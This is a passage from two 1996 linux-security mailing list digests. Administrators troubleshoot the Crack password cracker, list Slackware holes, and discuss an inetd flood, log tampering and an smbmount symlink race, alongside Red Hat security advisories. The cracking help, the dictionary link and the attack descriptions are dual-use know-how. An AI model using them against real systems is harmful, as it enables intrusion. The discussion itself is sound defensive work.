16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > pwc: Aug 16 16:11:12 Terminating... > -->8-->8-- Basically, Crack is using its own internal fcrypt() instead of the one in libc (which is also faster :) You have to edit the Makefile to tell it not to link in its own fcrypt() stuff... --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." ------------------------------ From: infinity Date: Fri, 16 Aug 1996 11:43:11 -0700 (PDT) Subject: [linux-security] Archive/Listing - -----BEGIN PGP SIGNED MESSAGE----- The Ghost who Admins's thoughts were: | Hey all. Just wondering if anyone has a listing of all the | vulnerabilities of the current Slackware dist. Basically, if I setup a | new machine...what are the holes I need to patch. I know of a few but I | KNOW I'm missing alot. | | Thanks in advance. :) | | Mike Evans | | ftp://ftp.infonexus.com/pub/Philes/AttackFlawsExploits/Linux I have many, but prolly not all. If any knows a better source, I would love to know about it... - - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhTBPgtXkSokWGapAQEd7QP/XW1AinxW8ARrGR1MFkA+mWhNsHp7Kjyd 1k9T/43QzYFFz4oj1HjKT/IJYYJJdkNnz545ZziAm6jC6n7RwnjVE5ZoO7c4n5/R 3zkKRHReS2IQdzily8r2DD0LVSmYxaQoK0vLyz+GJVEAXnGi0k2lptmVpw2NImAb v4OJvRSLKbY= =YNWZ - -----END PGP SIGNATURE----- ------------------------------ From: Alan Cox Date: Fri, 16 Aug 1996 19:57:46 +0100 (BST) Subject: Re: [linux-security] Problems running crack on linux. > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > pwc: Aug 16 16:11:12 Terminating... > -->8-->8-- This is correct. Our long passwords are different. We also have a very fast crypt() in libc, so use that an for optimal performance static link it so crypt isnt running -fPIC Crack 5.0 is about to appear ------------------------------ From: Mark Duguid Date: Fri, 16 Aug 1996 19:50:57 -0600 (CST) Subject: Re: [linux-security] Problems running crack on linux. On Fri, 16 Aug 1996, Elliot Lee wrote: > On Fri, 16 Aug 1996, Robert R. Collier wrote: > > [Mod: Quoting trimmed. --Jeff.] > > > --8<--8<-- > > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > > pwc: Aug 16 16:11:12 Terminating... > > -->8-->8-- > > Basically, Crack is using its own internal fcrypt() instead of the one in > libc (which is also faster :) You have to edit the Makefile to tell it > not to link in its own fcrypt() stuff... > better yet, pick up ufc-crypt. if fcrypt dont work, Crack will use the ufc-crypt (fcrypt wouldnt work on mine, but ufc-crypt did) [Mod: Oddly enough, I found ufc-crypt to be slower than fcrypt on my Linux systems when I did some time-trials 2+ years ago. --Jeff.] - -- Mark Duguid Saskatoon, Saskatchewan, Canada [email protected] Lord grant me the serenity to accept the things I cannot change.The courage to change the things I can.And the wisdom to hide the bodies of the people =-=-=-=-=-=-=-=-=I had to kill because they pissed me off=-=-=-=-=-=-=-=-=-= Just netsurfin on an anvil. My postings contain my opinions, not the SFN's. ------------------------------ From: Jeff Barrow Date: Fri, 16 Aug 1996 22:49:07 -0500 (CDT) Subject: Re: [linux-security] Problems running crack on linux. On Fri, 16 Aug 1996, Robert R. Collier wrote: > --8<--8<-- > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > pwc: Aug 16 16:11:12 Terminating... > -->8-->8-- This is a byteorder problem. I got it working by configuring crack to use the libc version of crypt()... I'm not SURE, but you can try #include in the main include file, it may work. The problem is that crack uses a _very_ old method of deciding endianness, that may be slightly incompatible with our libc. > I tried changing various #defines in Sources/conf.h but to no effect. Try #define LITTLE_ENDIAN as well.... Good luck! ------------------------------ From: Pete Chown Date: Sat, 17 Aug 1996 11:37:49 +0100 Subject: [linux-security] des_setparity security problem Am I wrong or is there a big weakness in the Linux implementation of des_setparity? DES is supposed to start with a 64 bit key which then has a parity added, giving an effective key length of 56 bits. The Linux implementation, however, manages to lose 16 bits, not 8. The bottom bit of each byte is converted to a parity, which is correct. However, the top bit is masked off at the same time. This gives an effective key length of only 48 bits, which is effectively useless. - --------------------------------------------------------------------- [email protected] "The Pen is mightier than the Quill." "Where do you want to crash today?" (tm) ------------------------------ From: Jonathan Larmour Date: Sun, 18 Aug 1996 19:05:36 +0100 Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? At 10:39 13/08/96 -0400, Frank Parato wrote: > >Hello, I'm very new to this mailing list, so forgive me if I ask >questions about things that have already been discussed. However my >system was recently invaded by a complete outsider. The daemons above are >the only ones that are running on my machine. Does anyone know of any >security holes that give the exploiter root on any of the above daemons ? Surely you must be running syslogd? There are many known problems with syslogd to do with buffer overruns, and in particular if your syslogd listens on the syslogd UDP port, then that could easily be the trouble. Also for telnetsnoopd, are you aware of the environment variables problem where LD_LIBRARY_PATH (and others) were exported to /bin/login by in.telnetd (and presumably similarly in.telnetsnoopd). I think there's a CERT advisory for that one. If your ftpd allows uploads anywhere, then that's probably the most likely attack as this was known to be exploited. See the CA. >qmail has the basic setup, I did not hear of any security holes in qmail >so all that was changed were local configurations > >wu.ftpd does allow anonymous connections, it has its own bin directory, >(not /usr/bin), and the site exec option seems that it is non-functional. [snip] For the above two, if you haven't already, you could look at their "home" sites, and look at the Change log/Release notes of the latest version and see if there have been security fixes since the versions you have. Jonathan L. Origin UK, 323 Cambridge Science Park, Cambridge, England. CB4 4WG. Tel: +44 (1223) 423355 Fax: +44 (1223) 420724 E-mail: guess... - -------[ Do not think that every sad-eyed woman has loved and lost... ]------ - -----------------------[ she may have got him. -Anon ]----------------------- These opinions are all my own fault. ------------------------------ From: "Kenneth E. Nawyn" Date: Sat, 17 Aug 1996 06:31:26 -0400 Subject: Re: [linux-security] Problems running crack on linux. Robert R. Collier wrote: > > I'm having some problems running Crack 4.1 on linux 2.0. [Mod: Quoting trimmed. Also, this post pretty much wraps it up for the Crack thread; there were several more posts submitted that said similar things, but that I won't forward. --Jeff.] You can get around this problem by useing the ufc-crypt package with crack 4.1. You should be able to ftp it from the COAST archive at Purdue. ftp://coast.cs.purdue.edu/pub/COAST/tools/unix/ufc.tar.gz Once you have ftped the file, you should unpack it so that it creates the directory ufc-crypt in the Crack-4.1 directory. I hope that this helps. > - Rob. > > -- > Robert R. Collier | The Terry Pratchett Homepage | \\\\\ send subject > [email protected] | http://www.lspace.org/ | \\\\\\\__o | "get pgp" > Save the Hedgehog | |__\\\\\\\'/__| for keys Ken Nawyn Kracked Rock Komputing, LLC ------------------------------ From: Tudor Popescu Date: Sat, 17 Aug 1996 16:30:13 +0200 (GMT+0200) Subject: Re: [linux-security] Archive/Listing On Tue, 13 Aug 1996, The Ghost who Admins wrote: > Hey all. Just wondering if anyone has a listing of all the > vulnerabilities of the current Slackware dist. Basically, if I setup a > new machine...what are the holes I need to patch. I know of a few but I > KNOW I'm missing alot. Well, for slak 3.0(not the latest 3.1) you've got: - -xterm, -dip, -splitvt, -mount, -elm filter, -rxvt, -xfree(/tmp/.X.. exploit), - -mgetty+sendfax, -perl(--version<5.003 or something) sec. holes. I guess these are the "well-known" ones, but there could be others. For informations just check ftp.infonexus.com(a very small and hard to get in host - but it's worth the time, trust me.. inside you can find just about every security hole one could think of..) > > Thanks in advance. :) > > Mike Evans > > hope this helps, - --ToP. ------------------------------ From: [email protected] (Ralf Schlatterbeck) Date: Mon, 19 Aug 1996 21:00:04 +0200 (MET DST) Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Jeff Uphoff writes: > I wrote a patch, sometime in '93, that tracked what user mounted such an > FS and only allowed that user--or root, of course--to unmount said > filesystem. I never submitted this patch to the util. maintainers (I > used it extensively locally, however), but since it looks like > mount/umount are about to get a bit of a rewrite perhaps I should update > it and submit it.... Good Idea, maybe we could get rid of some other (optionally) suid binaries associated with samba and Netware filesystems, i.e., ncpumount. (I don`t know if there is also a smbumount). Maybe these could be integrated into umount? The only reason these (this?) exist is to guarantee users can umount the filesystems they mounted (if I understood the documentation). [REW: I take an s-bit on a binary to mean that the application was developed with that s-bit in mind. Tacking an s-bit on an application that doesn't expect it is suicide. It should therefore be a no-no. Maybe installation notes could mention "if you want you can remove the s-bit from this and that application", but I find the idea distributing s-bit programs without s-bits and thereby suggesting that s-bits can be tacked on to binaries very scary.....] - -- Ralf Schlatterbeck email: [email protected] Fidonet: 2:313/9.81 FAX: +43/1/8034419/23 ------------------------------ From: Joel Maslak Date: Mon, 19 Aug 1996 19:33:38 -0600 (MDT) Subject: [linux-security] inetd and denial-of-service This is a message I saw on the kernel mailing list: On Fri, 16 Aug 1996, Klaus Lichtenwalder wrote: > I have an application that for simplicity backs up new files from a file > server via rsh. Things thingy stops after a few rsh calls to the remote > Linux machine. The following message can be found in syslog: > > Aug 16 17:53:59 gaston inetd[73]: shell/tcp server failing (looping), > service terminated > > Needless to say, the backup scripts then hangs idle. This is due to inetd killing any port that has more than 40 requests per minute. Obviously, this could be a denial of service attack. evil.com writes a program which, all at once, sends out 40 connection requests to good.edu's telnet port. Good.edu's inetd, thinking that something is broke stops allowing incoming telnets. While any site with good administrators would be able to fix this problem in a matter of minutes, this could be a problem for a site which is normally unattended. Ideas for solution: 1. Add a number after nowait for TCP services in /etc/inetd.conf. This number represents the max number of requests per minute. Set it to 32000 or something. Note that this requires a recent version of inetd. (I run 1.1) 2. Block access to all ports except from "trusted sites". This assumes a open environment where the network medium is generally trusted. Note that IP spoofing attacks can occur if the network is not trusted. I didn't bring this up to demonstrate an astonishing insight into security. Rather, I brought this up to spark some discussion on other possible attacks, based on this one, as well as solution to these attacks. Not everyone has the advantage of being able to log onto the console of every machine they administrate, and the thought of having someone able to willfully cause me work does not appeal to me. This affects, at least, Red Hat 3.0.3. I assume it affects nearly every distribution. [REW: I couldn't reproduce the "terminating service" on my slackware distribution. It seems to have the same 1.1 version of inetd. I suspect that the machine is too slow to accept more than 40 requests per minute. I'd rather have the "init" behaviour: "id "c1" respawning too fast: Disabled for 5 minutes"] Joel Maslak Lost in Wyoming! ------------------------------ From: "Paul D. Robertson" Date: Mon, 19 Aug 1996 20:19:25 -0400 (EDT) Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? On Sun, 18 Aug 1996, Jonathan Larmour wrote: > Surely you must be running syslogd? There are many known problems with > syslogd to do with buffer overruns, and in particular if your syslogd > listens on the syslogd UDP port, then that could easily be the trouble. Hrm, all the exploits I've seen deal with the syslog library call, not the daemon, and the Linux libraries have been fixed for a while. Could you provide more info on the daemon problems? [REW: The deamon problem consists at least of being able to fill someones harddisk by sending it stuff to be logged. Some systems choke when their root partition fills....(Denial of service)] Paul - ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 ------------------------------ From: Alan Cox Date: Tue, 20 Aug 1996 10:00:07 +0100 (BST) Subject: Re: [linux-security] inetd and denial-of-service > I'd rather have the "init" behaviour: "id "c1" respawning too fast: > Disabled for 5 minutes"] You can still do this to Solaris 2.5 consoles, just hold down ^D and lock the console off for 5 minutes. [REW: And Linux too (but if you want to prevent the sysop from logging in on the console for five minutes you will need to do it on ALL VCs.)] Alan k ------------------------------ From: Louis Mandelstam Date: Tue, 20 Aug 1996 10:21:42 +0200 (SAT) Subject: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) On Mon, 19 Aug 1996, Paul D. Robertson wrote: > [REW: The deamon problem consists at least of being able to fill someones > harddisk by sending it stuff to be logged. Some systems choke when their > root partition fills....(Denial of service)] What do people do to get around this, as well as the ability of an attacker who has gained root to modify the written log? Problems with illegal root modifying the log can be solved by somehow making the log append-only (line printer, modified tape streamer driver, remote syslog host without telnetd etc, etc) but those can be even more susceptible to nonsense flooding. Disk-based logs could conceivably be rotated (or entries removed from the top when the log exceeds x lenght) but this allows the attacker to flood harmful evidence out of the log. [REW: 1) You disable external access to your syslog port. 2) Linux already has an "append-only" file mode, so you don't need to revert to the old "line printer log".] - ------------------------------------------------------------------------- L.Mandelstam - System Administrator [email protected] S A Council of Churches, PO Box 4921, Johannesburg, 2000, South Africa tel:+27-11-492-1380 x145 fax:+27-11-492-1448 mobile: +27-83-229-0712 - ------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V2 #47 *********************************** linux-security-digest/v02.n048100664 1767 1767 52623 6206557563 15472 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #48 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 21 August 1996 Volume 02 : Number 048 Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? [linux-security] [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux [linux-security] [linux-alert] SECURITY FIX/UPDATE: anonftp Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload [linux-security] Dicts .... [linux-security] smbmount (and ncpmount?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) ---------------------------------------------------------------------- From: "Daniel Roedding" Date: Tue, 20 Aug 1996 09:23:04 +0200 (MDT) Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Hi! Roger Wolff suggested: > Maybe installation notes could mention "if you want you can remove the > s-bit from this and that application", but I find the idea > distributing s-bit programs without s-bits and thereby suggesting that > s-bits can be tacked on to binaries very scary.....] Personally, I'd wish to have a distribution kit that would ask me whether I want an "merely open" or a "secure" system. For development purposes or as a real end-user system, the current state of most distributions (which I consider as "open") is okay, but systems to be connected to open networks such as the Internet need more security, and - simply said - less s-bit programs and pre-configured services (/etc/inetd.conf etc.). Is anybody out here who deals with distribution kits and their instal- lation scripts? It shouldn't need much effort to separate binary tree and configuration files and stuff them into two packages. Next step just whould be to offer (at least) two configuration packages alternatively, each with a configuration tree and a small installation script setting/resetting some "critical" s-bits. What do you think about this? [REW: I mostly agree. Simply resetting s-bits is not something that can easily be done "out of the box". Mount and ppp have config files that allow certain users to perform certain privileged actions. These should simply be bug-fixed until they actually are secure. I have an internet-connected machine that simply uses the user-mount features. I still like it to be secure. Another problem with your approach is that the config files are (and should be) in the package that they belong with. Maybe a diff to be later applied could change the "security level"?] Daniel - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de ------------------------------ From: Jonathan Larmour Date: Tue, 20 Aug 1996 12:46:56 +0100 Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? At 20:19 19/08/96 -0400, Paul D. Robertson wrote: >On Sun, 18 Aug 1996, Jonathan Larmour wrote: > >> Surely you must be running syslogd? There are many known problems with >> syslogd to do with buffer overruns, and in particular if your syslogd >> listens on the syslogd UDP port, then that could easily be the trouble. > >Hrm, all the exploits I've seen deal with the syslog library call, not the >daemon, and the Linux libraries have been fixed for a while. Could you >provide more info on the daemon problems? Fixed for a few months, yes. Also (I think) BugTraq recently showed some tests that meant there could still be more in syslog(d). (I'm not sure admittedly). I was questioning his assertion that there were no other daemons on his system, and given its history, both syslog and syslogd are not exactly exempt from suspicion. As it turns out after some private e-mails, it seems almost certain that it was the exported telnet LD_LIBRARY_PATH exploit. He found a version of libc.so.4 in a users directory. [REW: Funny that the actual culprit was indeed listed in that first message. I'd have guessed that listing just a few deamons would most likely miss the actual culprit.... :-] Jonathan L. Origin UK, 323 Cambridge Science Park, Cambridge, England. CB4 4WG. Tel: +44 (1223) 423355 Fax: +44 (1223) 420724 E-mail: guess... - -------[ Do not think that every sad-eyed woman has loved and lost... ]------ - -----------------------[ she may have got him. -Anon ]----------------------- These opinions are all my own fault. ------------------------------ From: Elliot Lee Date: Tue, 13 Aug 1996 16:31:37 -0400 (EDT) Subject: [linux-security] [linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux [Mod: I should have CC'd this to linux-security when it was released. Apologies for the oversight! --Jeff.] - -----BEGIN PGP SIGNED MESSAGE----- Recently a security hole was found in the mount program that comes with many Linux distributions, including Red Hat Linux. mount and umount are normally installed setUID root to allow users to perform mount and unmount operations. Unfortunately, they do not check the length of the information passed to them, creating a buffer overflow problem. For more details, visit the BugTraq mailing-list archives at http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html This hole allows anyone with an account on a system to obtain root access. Affected systems: - All systems running all versions of Red Hat Linux. Users of versions of Red Hat less than 3.0.3 are advised to upgrade to 3.0.3, since many other problems are fixed in the upgrade. If you are running: * Red Hat Linux 3.0.3 (Picasso) on the Intel architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/ util-linux-2.5-11fix.i386.rpm mount-2.5k-1.i386.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.3 (Picasso) on the Alpha architecture, get - ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/ util-linux-2.5-11fix.axp.rpm mount-2.5k-1.axp.rpm And install them in that order using 'rpm -Uvh [rpm filename]' * Red Hat Linux 3.0.4 (Rembrandt) beta on the Intel, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/ mount-2.5k-2.i386.rpm * Red Hat Linux 3.0.4 (Rembrandt) beta on the Sparc, get - ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/ mount-2.5k-2.sparc.rpm [Aside: There is no difference between mount-2.5k-1 and -2 except the package format.] All RPMs are PGP-signed with the [email protected] key. The source RPMs will be available in the normal locations. MD5SUM's: ad9b0628b6af9957d7b5eb720bbe632b mount-2.5k-1.axp.rpm 12cb19ec4b3060f8d1cedff77bda7c05 util-linux-2.5-11fix.axp.rpm 26506a3c0066b8954d80deff152e0229 mount-2.5k-1.i386.rpm f48c6bf901dd5d2c476657d6b75b12a5 util-linux-2.5-11fix.i386.rpm 7337f8796318f3b13f2dccb4a8f10b1a mount-2.5k-2.i386.rpm e68ff642a7536f3be4da83eedc14dd76 mount-2.5k-2.sparc.rpm Thanks to Bloodmask, Vio, and others on the BugTraq list for discovering this hole and providing patches. --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhDmLCaSlK8942+NAQFc+QP+NnduJSfnrpXNMfPHBXPf11pNBvUKNfew kJ6GUVjXYePIDz6HxIpJWJsZF5u+t5yii5sfYkkVK1pPENMsjrAto2UWMklAF62p dxS3zgYjWfaH1AdG7U5e47huThBTmuyY/uwBmVf/jLtV2dqM1taRz9yqOTkm10o9 0Z7OylS10PY= =3lv/ - -----END PGP SIGNATURE----- ------------------------------ From: Elliot Lee Date: Mon, 19 Aug 1996 18:57:03 -0400 (EDT) Subject: [linux-security] [linux-alert] SECURITY FIX/UPDATE: anonftp - -----BEGIN PGP SIGNED MESSAGE----- There is a security hole in the anonftp package included with all versions of Red Hat Linux that allows an anonymous FTP user to execute arbitrary commands in the chroot FTP environment. Due to some options in GNU tar that are enabled by default, any program that exists (or can be uploaded to) an FTP server can be run. Severity is limited due to the chroot environment, but the problem still needs to be addressed. Updates are available on ftp.redhat.com now. If you are using a version prior to 3.0.3, an upgrade is recommended to solve other security holes. If you are using 3.0.3 on the Intel, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/i386/updates/RPMS/anonftp-2.0-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.3 on the Alpha, get ftp://ftp.redhat.com/pub/redhat/redhat-3.0.3/axp/updates/RPMS/anonftp-2.0-2.axp.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Intel, get ftp://ftp.redhat.com/pub/redhat/rembrandt/i386/updates/RPMS/anonftp-2.2-2.i386.rpm and install it using 'rpm -Uvh [filename]' If you are using 3.0.4 (Rembrandt BETA) on the Sparc, get ftp://ftp.redhat.com/pub/redhat/rembrandt/sparc/updates/RPMS/anonftp-2.2-2.sparc.rpm and install it using 'rpm -Uvh [filename]' All packages are PGP signed. Source packages are available in the usual locations. MD5 checksums: ea1798199eb426695c6d4c2ad4106422 anonftp-2.0-2.axp.rpm 764ee004e25c3e278290820dbd58cc58 anonftp-2.0-2.i386.rpm cb0b1905ab8d389d64677519913346a5 anonftp-2.0-2.src.rpm c14af78ec7d5083b54e61f973ca7c6fb anonftp-2.2-2.i386.rpm 760cb3d5bb37c618f1b84f1aa0f5ea53 anonftp-2.2-2.sparc.rpm a2f3fb6e06fca1485e3f11e5e04f83d8 anonftp-2.2-2.src.rpm Thanks to Alan Cox for finding this problem. - - -- Elliot Lee Red Hat Software, http://www.redhat.com/ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMhjxQiaSlK8942+NAQEngAQAgQDpcY4zYyvegaYQrAx1pW9w2IEeHqE5 yyeRre2rUsWBKVjizDttz+JO130+/2cZjjG0bpDzKeZidkENZGkHzlIP+lQLDAuG jZ8rBqAdaEXmRUwZJzjwmEfBM218Z/W+fSrPj/w0CMqCn1THwJN4Vu6xaZ8TkxGf 2cI2lMO7XkQ= =qu3w - -----END PGP SIGNATURE----- ------------------------------ From: David R Schwanke Date: Tue, 20 Aug 1996 08:54:46 -0400 (EDT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Excerpts from internet.computing.linux-security: 20-Aug-96 System log practicalities (.. by Louis [email protected] > Problems with illegal root modifying the log can be solved by somehow > making the log append-only (line printer, modified tape streamer driver, > remote syslog host without telnetd etc, etc) but those can be even more > susceptible to nonsense flooding. Favorite of mine is to setup a standalone machine as a listen only connection via serial cable. Log is cat-ed to the correct tty. Then the standalone machine cats it (via standard (in my old case, dos) terminal software) to a file. They would have to first know its there, and then disable it. (Which would be the case of any log system since its somehow ON the machine.) They couldn't flood it out of the log since the log was appended. Only thing they could do would be to try to flood the log BEFORE they did anything that might disclose their location, but for one thing it takes a hell of a long time to create a 120 meg text file via cat, and second, you can usually tell who caused the problem and then they would still be suspect.. [REW: In security and cryptography, always assume the bad guys know everything. You'll only catch a few more bad guys because in reality they don't. Beware that a 9600 baud line could be flooded "temporarily". Get the system to log 20kbytes of data. Now you have a few seconds to do the bad stuff, and generate another 4k of data. At least the kernel log would silently overflow the logs of the bad things. I assume that someone with bad intentions can find a way to generate log messages that don't contain his name. Because of the added "ease-of-use" I personally would chose for the networked logger solution. A very securely configured (No network services) Linux machine with just a syslogd. If a client would pay me enough, I'd write something fancy that would detect and deter flood attempts better than the standard syslogd.] ------------------------------ From: "Paul D. Robertson" Date: Tue, 20 Aug 1996 10:44:11 -0400 (EDT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) On Tue, 20 Aug 1996, Louis Mandelstam wrote: > The only solid solution I can think of would be for the logging daemon to > intelligently interpret entries and somehow evaluate which entries need to > be ignored. Dunno how one would do this. There are several Perl packages for managing firewall logs in this regard, I'm sure you could probably plug one of them into syslog pretty easily, at least to filter out things you know are fluff, or perhaps to log an event once (better done when you sighup and start a new syslog -- perhaps something like this is better done in a named pipe?) [REW: Anybody know a name we can tell to the search engines to find one of those perl packages?] [REW: Deleted Q&A, already answered.] Paul - ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 ------------------------------ From: Alex Mottram Date: Tue, 20 Aug 1996 10:13:54 -0500 (CDT) Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload > Personally, I'd wish to have a distribution kit that would ask me > whether I want an "merely open" or a "secure" system. For development > purposes or as a real end-user system, the current state of most > distributions (which I consider as "open") is okay, but systems to > be connected to open networks such as the Internet need more security, > and - simply said - less s-bit programs and pre-configured services > (/etc/inetd.conf etc.). > > Is anybody out here who deals with distribution kits and their instal- > lation scripts? It shouldn't need much effort to separate binary > tree and configuration files and stuff them into two packages. Next > step just whould be to offer (at least) two configuration packages > alternatively, each with a configuration tree and a small installation > script setting/resetting some "critical" s-bits. > > What do you think about this? Personally, I find that doing a "cd / ; find -perm -04000 -user root" and removing the sbits from just about everything works fine. After that, a quick pass through /etc cleaning up a few files like inetd.conf, hosts.allow, and hosts.deny should take care of most problems. I personally feel that all hosts should be denied by default. Period. If a user wants to play a VGA game like abuse, go use the DOS box down the hall. :) Having an installation option, or perhaps a "secure" package to install would definitely be a step in the right direction for all linux distributors. +-----------------------+----------------------------------------------------+ | Alex Mottram | Experience is what you get when you were | | System Administrator, | expecting something else... | | Net-Connect, Ltd. | | +-----------------------+----------------------------------------------------+ ------------------------------ From: "Sergey V. Minakov" Date: Tue, 20 Aug 1996 18:07:09 +0300 (GMT+0300) Subject: [linux-security] Dicts .... Hi! New dict. file for crack ... contain near 750,000 words of all tematics.... ftp://194.67.110.2/pub/unix/Admin/Dicts/MainDict.gz - 2,467,088 bytes. WiNG - -------------------------------------------------------------------- Sergey V. Minakov NOC MGDTD - -------------------------------------------------------------------- Phone : +7 095 939-8304 EMail : [email protected] URL : http://www.mgdtd.ru/~ser - -------------------------------------------------------------------- ------------------------------ From: David Holland Date: Tue, 20 Aug 1996 19:19:58 -0400 (EDT) Subject: [linux-security] smbmount (and ncpmount?) smbmount has half a dozen possible buffer overruns. It also execs modprobe setuid root; I believe this is likely to be a significant hazard. Patches have been sent to the maintainer. There's a more serious problem that more or less has to affect ncpmount and any other similar program: there's a race condition between when the mount point is checked for permission and when the mount is performed. Thus anyone can mount shares anywhere by playing symlink games, and of course become root about ten seconds later. This problem cannot be fixed without updating the kernel - either the permission check needs to be moved into the kernel, or the mount point needs to be passed to the kernel as a fd instead of a pathname. Myself, I prefer moving the permission check into the kernel; Ultrix supported user NFS mounts that way long, long ago. Recommendation: chmod -s smbmount and smbumount, and probably ncpmount too. - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: Brian Mitchell Date: Tue, 20 Aug 1996 20:33:44 -0400 (EDT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) On Tue, 20 Aug 1996, Louis Mandelstam wrote: > Problems with illegal root modifying the log can be solved by somehow > making the log append-only (line printer, modified tape streamer driver, > remote syslog host without telnetd etc, etc) but those can be even more > susceptible to nonsense flooding. > > Disk-based logs could conceivably be rotated (or entries removed from the > top when the log exceeds x lenght) but this allows the attacker to flood > harmful evidence out of the log. > > [REW: 1) You disable external access to your syslog port. 2) Linux > already has an "append-only" file mode, so you don't need to revert > to the old "line printer log".] the 'append mode' is pretty useless, since the root user can just undo the flag, modify the files, then set the flag again. The same is (was, I believe - kernel 2.x seems to have fixed this) true of the immutable flag. [REW: I thought that we had something like "securelevel" too, which would, given the right value, disable the clearing of those flags. One of the primary uses of the immutable and append-only flags are for the logfile case that we're looking at right now. I wouldn't consider it ready for inclusion in the standard kernel if it didn't make an attempt at being secure against a root-user. I can't find anything about this in my /usr/src/linux tree. Maybe it's just an optional patch that someone has lying around?] Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - - H. Truman ------------------------------ From: Louis Mandelstam Date: Tue, 20 Aug 1996 16:34:40 +0200 (SAT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) On Tue, 20 Aug 1996, Paul D. Robertson wrote: > Generally, you syslog to a log partition, not to the root partition, > I've typically used /log or /syslog as a mount point, and logged directly Yes, certainly. > to files in that partition. Normally a crontab entry mv's the log file, > gzips it, touches a new one, and sighups syslogd. Since I tend to log > production machines at *.debug, this step becomes necessary pretty > quickly. On AIX machines, I tend to use a compressed filesystem (I admit > to never having searched for one on Linux) to remove the having to gzip > step (though LZH is less efficient). But this still doesn't exactly address the possibility of an attacker flooding the log with bogus entries. Yes, if the log management scripts are implemented correctly, the system would cope - either stop logging when we run out of space, or start deleting older log entries. Problem with the first (cease logging) is that the "interesting" bits may occur after the attacker grinds the log to a halt, and with the second, that the attacker can push evidence out the other side of the queue. The only solid solution I can think of would be for the logging daemon to intelligently interpret entries and 